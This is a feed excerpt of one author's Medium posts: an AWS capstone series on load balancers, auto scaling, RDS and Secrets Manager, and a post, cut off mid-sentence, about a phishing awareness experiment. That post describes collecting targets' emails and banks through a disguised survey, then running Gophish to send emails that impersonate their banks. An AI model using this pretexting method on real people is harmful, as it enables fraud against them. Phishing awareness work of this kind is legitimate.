src="https://cdn-images-1.medium.com/max/975/1*lGxcDCjvulj-D4gEG1KWvg.png" /></figure><h3>Basic Configuration:</h3><p><strong>Load balancer name</strong>: Capstone ELB</p><p><strong>Scheme</strong>: Internet-facing ✅</p><p><strong>IP address type</strong>: IPv4</p><blockquote><strong><em>Architecture Decision</em></strong><em>: Internet-facing allows public access while keeping our application instances private</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*CJRZ4rPrqtcZB_ZeV4r79w.png" /></figure><h3>Network Mapping:</h3><p><strong>VPC</strong>: Project VPC</p><p><strong>Mappings</strong> — I selected both Availability Zones:</p><ul><li><strong>us-east-1a</strong>: Public subnet</li><li><strong>us-east-1b</strong>: Public subnet</li></ul><blockquote><em>💡 </em><strong><em>High Availability</em></strong><em>: Multi-AZ deployment in public subnets allows internet access while instances remain private</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*E8rhBiO5rX23KWBFrVntLQ.png" /></figure><h3>Security Group Configuration:</h3><p><strong>Security groups</strong>: I selected existing security group → <strong>ALBSG</strong></p><p>The ALBSG security group has:</p><ul><li><strong>Inbound</strong>: HTTP (80) from 0.0.0.0/0</li><li><strong>Outbound</strong>: HTTP (80) to application instances</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*71fnWlSs0vF3t1TxCRQ-Qw.png" /></figure><h3>Listeners and Routing:</h3><p><strong>Listeners and routing</strong> configuration:</p><ul><li><strong>Protocol</strong>: HTTP</li><li><strong>Port</strong>: 80</li><li><strong>Default action</strong>: Forward to target groups</li></ul><p>Now we need to create our target group…</p><h3>Step 2: Creating the Target Group</h3><p>Before completing the load balancer, we need to define where traffic should be sent.</p><h3>Target Group Creation:</h3><p>From the <strong>Listeners and routing</strong> section → <strong>Create target group</strong></p><h3>Specify Group Details:</h3><p><strong>Basic configuration</strong>:</p><ul><li><strong>Target type</strong>: Instances ✅</li><li><strong>Target group name</strong>: warra-TG</li><li><strong>Protocol</strong>: HTTP</li><li><strong>Port</strong>: 80</li><li><strong>IP address type</strong>: IPv4</li><li><strong>VPC</strong>: Project VPC</li><li><strong>Protocol version</strong>: HTTP1</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*QrU8mmR5Q3ljgKkp7egO5A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*9v6CcMH6vUdypcWklOl7Yg.png" /></figure><p>At this point, we need instances to register with the target group, so let’s pause target group creation and set up our launch template and instance…</p><h3>Step 3: Working with the Launch Template</h3><p>In my implementation, I already had a launch template called “Project-LT” set up, so I used that for consistency.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*fO4XRyuqzQOwWgb_eGTGbg.png" /></figure><h3>Using Existing Launch Template:</h3><p><strong>Console Navigation:</strong> <strong>EC2</strong> → <strong>Launch Templates</strong> → <strong>Project-LT</strong></p><h3>Launch Instance from Template:</h3><p><strong>Actions</strong> → <strong>Launch instance from template</strong></p><p><strong>Instance configuration</strong>:</p><ul><li><strong>AMI</strong>: Amazon Linux 2023 AMI ✅</li><li><strong>Instance type</strong>: t2.micro ✅</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*KPvIbNg8-iwikjvC9VJSew.png" /></figure><ul><li><strong>Subnet</strong>: Private subnet 1 (us-east-1a) ✅</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*reyfns7EYZDPL2dfyvok2w.png" /></figure><ul><li><strong>Security groups</strong>: Inventory App ✅</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*Mdv9TMczvHETu5rZKbVzdQ.png" /></figure><blockquote><em>🔒 </em><strong><em>Security</em></strong><em>: Instance launched in private subnet with appropriate security group</em></blockquote><h3>Storage Configuration:</h3><p><strong>Storage</strong>:</p><ul><li><strong>Volume size</strong>: 30 GiB</li><li><strong>Volume type</strong>: gp3</li><li><strong>IOPS</strong>: 3000</li><li><strong>Delete on termination</strong>: Yes</li><li><strong>Encryption</strong>: Unencrypted</li></ul><blockquote><em>💾 </em><strong><em>Storage Choice</em></strong><em>: gp3 provides better performance than gp2 at similar cost</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*7HJ9fW-55LiluagHVs7FGg.png" /></figure><p><strong>Launch instance</strong></p><h3>Step 4: Completing Target Group Registration</h3><p>Now that we have a running instance, let’s register it with our target group.</p><h3>Register Targets:</h3><p>Return to target group creation → <strong>Register targets</strong></p><p><strong>Available instances</strong>:</p><ul><li>Select the instance we just launched</li><li><strong>Ports for the selected instances</strong>: 80</li></ul><p><strong>Include as pending below</strong> → <strong>Register pending targets</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*6GgzrfUpBPWOdeT0r03_Zw.png" /></figure><p><strong>Create target group</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*a5s2NI0gB_PG3LyP2h-lVg.png" /></figure><h3>Step 5: Complete Load Balancer Creation</h3><p>Now we can finish creating our load balancer with the target group.</p><h3>Return to Load Balancer Creation:</h3><p><strong>Default action</strong>: Forward to target groups → <strong>warra-TG</strong> ✅</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*qWQhmNOoUEBLXyDv7PAN1w.png" /></figure><p><strong>Create load balancer</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*lQyi2QJ4cO8Tz6q5skIb1Q.png" /></figure><h3>Step 6: Creating the Auto Scaling Group</h3><p>The Auto Scaling Group will manage instance lifecycle and scaling based on demand.</p><h3>Console Navigation:</h3><p><strong>EC2</strong> → <strong>Auto Scaling Groups</strong> → <strong>Create Auto Scaling group</strong></p><h3>Choose Launch Template:</h3><p><strong>Auto Scaling group name</strong>: autoscaling</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*MnHbYQmu535cP1kjIEajAw.png" /></figure><p><strong>Launch template</strong>: Project-LT ✅</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*Dsiq2z9nimm6XPP6qXeO6A.png" /></figure><p><strong>Next</strong></p><h3>Choose Instance Launch Options:</h3><p><strong>Network</strong>:</p><ul><li><strong>VPC</strong>: Project VPC</li><li><strong>Availability Zones and subnets</strong>: Private subnet 1 (us-east-1a)</li></ul><p><strong>Instance type requirements</strong>: Use launch template</p><p><strong>Capacity distribution</strong>: Balanced best effort</p><blockquote><em>💰 </em><strong><em>Cost Optimization</em></strong><em>: Single AZ deployment reduces data transfer costs while maintaining functionality</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*gHuvnWaNEyKWy_RaXB_RAQ.png" /></figure><p><strong>Next</strong></p><h3>Integrate with Other Services:</h3><p><strong>Load balancing</strong>:</p><ul><li><strong>Attach to an existing load balancer</strong> ✅</li><li><strong>Choose from your load balancer target groups</strong>: warra-TG ✅</li></ul><p><strong>Health checks</strong>:</p><ul><li><strong>Health check type</strong>: ELB (recommended)</li><li><strong>Health check grace period</strong>: 300 seconds</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*eCsskt3qotIoB9dpDktNWw.png" /></figure><p><strong>Next</strong></p><h3>Configure Group Size and Scaling:</h3><p><strong>Group size</strong>:</p><ul><li><strong>Desired capacity</strong>: 1</li><li><strong>Minimum capacity</strong>: 1</li><li><strong>Maximum capacity</strong>: 2</li></ul><blockquote><em>💰 </em><strong><em>Scaling Strategy</em></strong><em>: Conservative limits keep costs predictable while ensuring availability</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/574/1*8yL-Bkbhvwuiaq3InjCnog.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*g6QnCroirNeklHK7pMtvEQ.png" /></figure><p><strong>Scaling policies</strong>: Use default (or configure target tracking)</p><p><strong>Next</strong> → <strong>Next</strong> → <strong>Create Auto Scaling group</strong></p><h3>Step 7: Secure Administrative Access and Database Setup</h3><p>Time to connect to our instance and set up the database connection using Systems Manager Session Manager.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*hY7ic7_deFKK33q5WOq4wQ.png" /></figure><h3>Connect via Systems Manager:</h3><p><strong>EC2</strong> → <strong>Instances</strong> → Select your instance → <strong>Connect</strong> → <strong>Session Manager</strong> → <strong>Connect</strong></p><blockquote><em>🔒 </em><strong><em>Security Benefit</em></strong><em>: No SSH keys required, no port 22 exposure, full audit trail</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*ZE3fGiLmi5qFlyX9oINXLA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*S51QTY5r7Ivdsg15usrXFg.png" /></figure><p><em>[Screenshot: Session Manager connection to EC2 instance]</em></p><h3>Download and Set Up Database:</h3><p>In the Session Manager terminal:</p><pre># Download the database file<br>wget [your-database-file-url]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*0rFZUuixgu9e16dObg_2Jw.png" /></figure><h3>Retrieve Database Credentials from Secrets Manager:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*gocbD4aFHpKMYN9FU9g8Xg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*ZWavqmsq-vmTZRDdpgbCeA.png" /></figure><h3>Connect to RDS and Import Database:</h3><p>Copy the RDS database endpoint</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/423/1*bqIsOE_crl1CXcCQMCzOIg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*yFIDyX8PIOs_hnTRPprMJg.png" /><figcaption>I used the database endpoint to connect and import the database</figcaption></figure><blockquote><strong><em>Success</em></strong><em>: Database successfully imported and ready for queries!</em></blockquote><h3>Step 8: End-to-End Testing — The Moment of Truth</h3><p>Time to test the complete application stack from load balancer to database.</p><h3>Get Load Balancer DNS Name:</h3><p><strong>EC2</strong> → <strong>Load Balancers</strong> → <strong>Capstone ELB</strong> Copy the <strong>DNS name.</strong></p><h3>Test Web Application:</h3><p>Open browser and navigate to: <a href="http://[ELB-DNS-NAME]">http://[ELB-DNS-NAME]</a></p><p><strong>Result</strong>: ✅ Website loads successfully!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*b37DIlwWA-4TVtJfZXz7tQ.png" /></figure><h3>Testing Database Queries:</h3><p>Navigate to the application’s query page or functionality.</p><p><strong>Test actual database queries with imported data:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*cfksjw9-bQCSA8m0EajRSg.png" /></figure><h3>Implementation Success Validation</h3><p>Let’s verify everything is working as designed:</p><h3>Architecture Validation:</h3><p><strong>Traffic Flow</strong>:</p><ul><li>Internet → Load Balancer (Capstone ELB) ✅</li><li>Load Balancer → EC2 Instance (private subnet) ✅</li><li>EC2 Instance → RDS Database ✅</li><li>Database queries returning real data ✅</li></ul><p><strong>Security</strong>:</p><ul><li>EC2 instances in private subnet ✅</li><li>No direct internet access to instances ✅</li><li>Database in private subnet ✅</li><li>Administrative access via Session Manager ✅</li></ul><p><strong>Scaling</strong>:</p><ul><li>Auto Scaling Group configured ✅</li><li>Target group health checking ✅</li><li>Load balancer distributing traffic ✅</li></ul><h3>Functional Testing Results:</h3><p><strong>Web Application</strong>: Loading successfully through load balancer</p><p><strong>Database Connectivity</strong>: Queries executing and returning data</p><p><strong>Administrative Access</strong>: Session Manager working without SSH</p><p><strong>Health Checks</strong>: Target group reporting healthy status</p><p><strong>Six months ago, I was studying VPC basics and trying to understand security groups. Today, I just successfully deployed a production-ready architecture that transformed a vulnerable single-server setup into a resilient, auto-scaling system serving real database queries through a load balancer.</strong></p><p>What started as Shirley’s simple social research website became my playground for learning that the cloud isn’t just about services, it’s about engineering judgment, making intelligent trade-offs between cost and availability, security and convenience, simplicity and resilience. When that load balancer DNS name finally returned my database query results, it wasn’t just a technical victory; it was proof that with proper architecture, any organization can achieve enterprise-grade reliability and security for under $65/month, no matter how small their team or budget.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=148949e6eba4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Securing the Data Layer: RDS Multi-AZ Setup and Secrets Manager Integration]]></title>
            <link>https://medium.com/@thatdenzguy/securing-the-data-layer-rds-multi-az-setup-and-secrets-manager-integration-17b5bd88391c?source=rss-d3f2c8ac4b3d------2</link>
            <guid isPermaLink="false">https://medium.com/p/17b5bd88391c</guid>
            <category><![CDATA[cloud-computing]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[rds]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[devops]]></category>
            <dc:creator><![CDATA[Aderinola Taiwo]]></dc:creator>
            <pubDate>Thu, 18 Sep 2025 07:50:13 GMT</pubDate>
            <atom:updated>2025-09-18T07:50:13.749Z</atom:updated>
            <content:encoded><![CDATA[<p><em>This is Part 2 of my AWS Capstone Project Series. [Missed the overview? </em><a href="https://medium.com/@thatdenzguy/from-problem-to-architecture-designing-a-secure-multi-az-app-on-aws-a5fe4728f4e0">Start here.</a><em>]</em></p><p>The database is the heart of any application and often the most vulnerable component. In our original scenario, Shirley’s social research website had MySQL running directly on the web server with hardcoded credentials. Today, I’m walking you through building a production-grade database layer that’s secure, scalable, and surprisingly cost-effective.</p><p><strong>What we’re building</strong>: A Multi-AZ RDS MySQL instance in private subnets with credentials managed through AWS Secrets Manager all configured through the AWS Console.</p><h3>Security and Cost Goals</h3><p>Before diving into implementation, let’s establish our objectives:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/1*MZb7ACElPspMYw87qDP-lw@2x.jpeg" /></figure><h3>Security Priorities:</h3><ul><li>Database isolated in private subnets (no public access)</li><li>Credentials stored in Secrets Manager (no hardcoded passwords)</li><li>Least-privilege IAM access</li><li>Encrypted storage and backups</li><li>Multi-AZ for high availability</li></ul><h3>Cost Optimization:</h3><ul><li>Right-sized instance (db.t3.micro)</li><li>No unnecessary features that drive up costs</li><li>Keep setup under <strong>$60 total project budget</strong></li></ul><p><strong>Estimated monthly cost for this setup: &lt;$30</strong> (compared to $50+ for larger instances)</p><h3>Step 1: The Database Subnet Group</h3><p>The subnet group defines where your RDS instance can live. This is critical for security as we want our database in private subnets only.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/266/1*dfe7wbl6X2z1bs0toY7uSw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*KHCkxF3J50WG6F7qY-367g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j3od7uSOHATQqL0Q2WAj6Q.png" /></figure><p><strong>Security Note</strong>: Notice we’re only selecting private subnets. This ensures our database can never be directly accessed from the internet, even if we accidentally enable public access later.</p><h3>Why This Matters:</h3><ul><li><strong>Multi-AZ Support</strong>: RDS needs subnets in at least 2 AZs for Multi-AZ deployment</li><li><strong>Network Isolation</strong>: Private subnets provide an additional security layer</li><li><strong>Compliance</strong>: Many security frameworks require database isolation</li></ul><h3>Step 2: The Database Security Group</h3><p>Security groups act as virtual firewalls. For our database, we want to be extremely restrictive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*UdyglJaqrt-m9IVkW7S4bg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*hXxqduWUH6vraKeUdPNMlw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*0sROC5Ps6kvTb3t7MGCwbw.png" /><figcaption>This configuration allows inbound MYSQL (3306) traffic from the EC2 Security Group</figcaption></figure><p><strong>Security Best Practice</strong>: By referencing the web server security group instead of IP addresses, we create dynamic security rules that automatically adjust as instances scale.</p><h3>Step 3: Creating the RDS MySQL Instance</h3><p>This is where we configure the actual database with all our security and cost optimization settings.</p><p><strong>Key configuration choices:</strong></p><ul><li><strong>Engine:</strong> MySQL 8.0</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*-PiQYbeApfde-sMva7wQ9Q.png" /></figure><ul><li><strong>Instance class:</strong> db.t3.micro (2 vCPUs, 1 GB RAM)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/412/1*cGs3xaWuN3IZdxNxVJ6AWQ.png" /></figure><ul><li><strong>Storage:</strong> 20 GB gp2 with autoscaling disabled</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*3hz_QhOl46qxUv_sfcz69Q.png" /></figure><ul><li><strong>Availability:</strong> Multi-AZ deployment (adds cost but brings automatic failover)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*R9CYBTynxWcZRRuHItjnPw.png" /><figcaption>I utilised the production template</figcaption></figure><ul><li><strong>Encryption:</strong> Enabled</li><li><strong>Public access:</strong> No ❌</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*9NR-U4sF8qXjUZhm_Sb7tw.png" /></figure><ul><li><strong>Backups:</strong> Automated backups enabled, 7-day retention</li><li><strong>Performance Insights:</strong> Off (to save cost)</li><li><strong>Deletion protection:</strong> Enabled</li><li><strong>Database authentication</strong>: Password authentication</li><li><strong>Connectivity Configuration:</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*wtIh5IBE5BwDhL7Dc-YAgQ.png" /></figure><ul><li><strong>Enable Enhanced monitoring</strong>: ❌ (costs extra)</li></ul><p><strong>Security Critical</strong>: Public access must be “No”. This ensures your database is never accessible from the internet.</p><p>This setup gave me a durable MySQL database that can survive an Availability Zone failure, while still staying within budget.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*EPN3qGzO_lBTmhgmjYcNYA.png" /></figure><h3>Step 4: AWS Secrets Manager</h3><p>Hardcoded database passwords are a security nightmare. Secrets Manager solves this elegantly. During our DB Instance setup, in the credentials settings section, I selected the credentials for the DB instance to be managed by AWS secrets manager.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LyqEKw9OqSdjNkZFYiKzjg.png" /></figure><p>This means RDS will generate a password for you and manage it throughout its lifecycle using AWS Secrets Manager.</p><p>If we navigate to AWS Secrets Manager, we will find the already generated credentials that can be retrieved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iCCKKGayNmfw4vDw73cI_g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*58t2Tz3nrjmMLgDfZnneIA.png" /></figure><h3>What’s Next?</h3><p>We’ve built a secure, scalable database foundation, but it’s useless without an application to serve it. In <strong>Part 3</strong>, we’ll create the compute layer:</p><p>🔹 <strong>Application Load Balancer</strong> for traffic distribution<br> 🔹 <strong>Launch Templates</strong> for consistent instance configuration<br> 🔹 <strong>Auto Scaling Groups</strong> for automatic scaling<br> 🔹 <strong>Security Groups</strong> for network-level protection</p><p>The application layer is where everything comes together and where we’ll test our database integration end-to-end.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=17b5bd88391c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Problem to Architecture: Designing a Secure Multi-AZ App on AWS]]></title>
            <link>https://medium.com/@thatdenzguy/from-problem-to-architecture-designing-a-secure-multi-az-app-on-aws-a5fe4728f4e0?source=rss-d3f2c8ac4b3d------2</link>
            <guid isPermaLink="false">https://medium.com/p/a5fe4728f4e0</guid>
            <category><![CDATA[cloud-architecture]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[system-design-project]]></category>
            <dc:creator><![CDATA[Aderinola Taiwo]]></dc:creator>
            <pubDate>Mon, 15 Sep 2025 21:18:29 GMT</pubDate>
            <atom:updated>2025-09-15T21:18:29.749Z</atom:updated>
            <content:encoded><![CDATA[<p>For the past couple of months, I’ve been quietly diving into cloud computing experimenting, breaking things, fixing them, and learning a ton. To wrap things up, I’m beginning a <strong>Capstone Project</strong> that ties everything together: architecture, availability, and of course <strong>security</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/0*mqf_tY0ENwHoakFd.jpg" /></figure><h3>The Challenge</h3><p>Meet Shirley Rodriguez, a researcher at a fictitious nonprofit organization called Example Social Research. She built a website that provides global development statistics to fellow researchers worldwide. What started as a simple PHP application running on a single server has grown into a popular resource, but success brought new challenges:</p><ul><li><strong>Performance bottlenecks</strong> from increased traffic</li><li><strong>Security vulnerabilities</strong> (she even faced a ransomware attempt!)</li><li><strong>Single points of failure</strong> threatening service availability</li><li><strong>Scalability concerns</strong> as the user base continues to grow</li></ul><p>Shirley’s current setup, a single EC2 instance running both the web application and MySQL database in a public subnet is a security nightmare waiting to happen. She needs a complete architectural overhaul, and that’s where this project begins.</p><h3>My Solution: A Production-Ready AWS Architecture</h3><p>This capstone project will transform Shirley’s vulnerable single-instance setup into a robust, secure, and scalable cloud architecture that follows AWS Well-Architected Framework principles.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*PT59jIZnSgfQV_Xpv2ptcg.png" /></figure><h3>The Architecture Flow: Security by Design</h3><p>Let me walk you through how this architecture addresses every one of Shirley’s pain points:</p><h3>1. External Access Layer</h3><p>Traffic enters through an <strong>Application Load Balancer</strong> distributed across multiple Availability Zones. This immediately eliminates the single point of failure and provides SSL termination for secure connections.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fUiX5ate5rTxUAXLbid-AQ.png" /></figure><h3>2. Web Application Tier</h3><p>The web servers live in <strong>private subnets</strong> across multiple AZs — they’re completely isolated from direct internet access. An <strong>Auto Scaling Group</strong> with custom policies ensures the application can handle traffic spikes automatically, while <strong>Launch Templates</strong> guarantee consistent, secure instance configuration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*UuZKPpPJ7Aqo7d6R8eZnAA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*DRNwOoR9PfLRS5LdXQyA5A.png" /></figure><h3>3. Database Layer</h3><p>The MySQL database is deployed using <strong>Amazon RDS</strong> in <strong>Multi-AZ</strong> configuration within dedicated database subnets. Database credentials are securely managed through <strong>AWS Secrets Manager</strong>, eliminating hardcoded passwords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*eDK-MhwgbLCiqTRf2XjsiQ.png" /></figure><h3>4. Administrative Access</h3><p>Here’s where it gets interesting — no SSH keys, no bastion hosts, no port 22 exposed anywhere. Administrative access happens through <strong>AWS Systems Manager Session Manager</strong>, providing secure, auditable shell access without traditional SSH vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*kIMN887p4godoAkUCOs5DQ.png" /></figure><h3>5. Network Security</h3><p>Every component is protected by carefully configured <strong>Security Groups</strong> following the principle of least privilege. <strong>NAT Gateways</strong> provide controlled internet access for updates, while <strong>VPC Flow Logs</strong> enable comprehensive network monitoring.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/271/1*3bmJhKYvTBLf70GEbob1mA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/277/1*H0ye_iyuRE5H0OKFsg1_4g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/272/1*2OEr8l0OwGjaH2PyZSxiNQ.png" /></figure><h3>6. Monitoring and Observability</h3><p><strong>CloudWatch</strong> monitors everything, from application performance to database connections with automated alarms that can trigger scaling events or alert administrators to issues.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*5EU4N11ddeAIdfWND3FYAg.png" /></figure><h3>The Flow — Seamlessly Explained</h3><ol><li><strong>Users</strong> access the application through the ALB’s DNS name.</li><li>The <strong>ALB</strong> routes traffic (HTTP 80) to healthy <strong>EC2 instances</strong> in private subnets, managed by an Auto Scaling Group.</li><li>The <strong>EC2 app servers</strong> need data, so they: Fetch DB credentials from <strong>Secrets Manager</strong> over HTTPS (443), using their IAM role. Query the <strong>RDS MySQL database</strong> over TCP (3306), which is secured to allow access only from those EC2s.</li><li><strong>RDS</strong> is Multi-AZ, so if one Availability Zone fails, the database automatically fails over with minimal downtime.</li><li><strong>NAT Gateway</strong> allows the private EC2s to pull OS updates and patches without exposing them directly to the internet.</li><li><strong>SSM Session Manager</strong> provides secure admin access — no need to crack open port 22 to the world.</li><li><strong>CloudWatch</strong> and <strong>CloudTrail</strong> ensure visibility: metrics, alarms, and logs keep me informed and accountable.</li></ol><h3>What Makes This Architecture Special</h3><p>This isn’t just about moving to the cloud; it’s about building something production-ready from day one:</p><ul><li><strong>Zero-downtime deployments</strong> through the load balancer and auto scaling</li><li><strong>Defense in depth</strong> security with multiple layers of protection</li><li><strong>Cost optimization</strong> through auto scaling and right-sized resources</li><li><strong>Compliance-ready</strong> logging and monitoring</li><li><strong>Disaster recovery</strong> built into the multi-AZ design</li></ul><h3>What’s Coming Next</h3><p>This architecture diagram is just the foundation. In the upcoming posts, I’ll be documenting every step of the implementation journey.</p><p>Each post will include detailed step-by-step instructions, troubleshooting tips, and lessons learned along the way.</p><h3>Why This Matters</h3><p>Every day, organizations like Shirley’s nonprofit struggle with the same challenges. They need secure, scalable infrastructure but lack the resources for extensive DevOps teams. This project demonstrates that with proper planning and cloud-native services, even small organizations can achieve enterprise-grade reliability and security.</p><p>More personally, this project represents the culmination of months of learning. It’s one thing to understand VPCs and security groups in theory; it’s another to architect a complete solution that balances security, performance, cost, and operability.</p><p>The cloud isn’t just about lifting and shifting existing applications, it’s about reimagining how we build resilient, scalable systems. This architecture isn’t just solving Shirley’s immediate problems; it’s setting the foundation for future growth and innovation.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a5fe4728f4e0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking Minds: My First Social Engineering Experiment]]></title>
            <link>https://medium.com/@thatdenzguy/hacking-minds-my-first-social-engineering-experiment-828c13adef81?source=rss-d3f2c8ac4b3d------2</link>
            <guid isPermaLink="false">https://medium.com/p/828c13adef81</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[phishing-awareness]]></category>
            <category><![CDATA[cloud-computing]]></category>
            <category><![CDATA[social-engineering]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Aderinola Taiwo]]></dc:creator>
            <pubDate>Fri, 18 Apr 2025 21:53:00 GMT</pubDate>
            <atom:updated>2025-04-18T21:53:00.898Z</atom:updated>
            <content:encoded><![CDATA[<p>Social engineering is one of the most successful forms of cyber attacks and the reason is simple: it exploits human psychology. You’re not just bypassing firewalls or finding zero-days in code, you’re tricking people. That’s what drew me into the world of social engineering. I wanted to understand it better, and what better way than a controlled experiment?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*kqPPCzrvxC1sr2lAmJDXzw.jpeg" /></figure><h3>The Mission</h3><p>I set out to run my own social engineering experiment — not to cause harm, but to test how susceptible even tech-savvy individuals could be to well-crafted, low-pressure phishing. Imagine it as playful, ethical mischief with the sole aim of gaining valuable insights.</p><p>Step one: <strong>reconnaissance</strong>.</p><p>I created a casual-looking Google Form that asked people about their banking preferences — nothing invasive, just enough to collect two key data points: their email and their bank name. It looked like a school survey, complete with a brief intro and some friendly emojis. The responses started rolling in.</p><p><em>Objective: Get just enough information to craft a believable phishing scenario.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*y83gzAoSDebZLRDxkdITvg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*IrajABiOmZGoQ0oA255cGA.png" /><figcaption>a few more questions not to draw suspicion</figcaption></figure><h3>The Setup</h3><p>I spun up a Google Cloud VM running Ubuntu and installed <strong>Gophish</strong>, an open-source phishing framework. After tweaking the configuration (changing the admin interface to accept external connections and setting up SSL for HTTPS access), I was ready to build my first campaign.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*kNRPmhYjDPHv-EffoAX0Fw.png" /></figure><p>For the domain, I used a free subdomain from an alternative to Freenom, settling on a name that sounded techy and trustworthy. Then I obtained a free SSL certificate from ZeroSSL to avoid browser warnings that scream “scam!”</p><h3>Crafting the Trap</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*pGqndZafNybPUuTj9T1yQQ.jpeg" /></figure><p>Instead of the usual urgent-sounding alert, I went for something less suspicious: a <strong>monthly bank statement</strong>.</p><p>The phishing email was designed to look like an automated message from the recipient’s bank. Subject line?</p><blockquote><strong><em>“[Bank Name] Monthly Account Statement — March 2025”</em></strong></blockquote><p>The body of the email was brief and bland — exactly how a real bank notification would be:</p><blockquote>“Dear Customer, your March 2025 bank statement is ready. Kindly find it attached for your records.”</blockquote><p>Attached was a simple PDF titled Statement_March2025.pdf. But it wasn’t a real statement—just a message that read:</p><blockquote>“You have been compromised. This was part of a cybersecurity awareness experiment.”</blockquote><p>The beauty of this approach was in its <strong>subtlety</strong>. No flashy red flags. No clickbait. Just a calm, professional tone designed to disarm suspicion.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rGZPlMQ8gsBGT08OBGyG5w.png" /><figcaption>a sample of the email sent</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*aSc3q7x3opgPB0ZJWVXDjg.png" /><figcaption>The attached pdf</figcaption></figure><p>My goal wasn’t to freak anyone out but to see whether people would <strong>download an attachment from an email that just <em>looked</em> right.</strong></p><p>This approach wasn’t just clever, it was dangerously effective. No sketchy links. No login pages. Just an 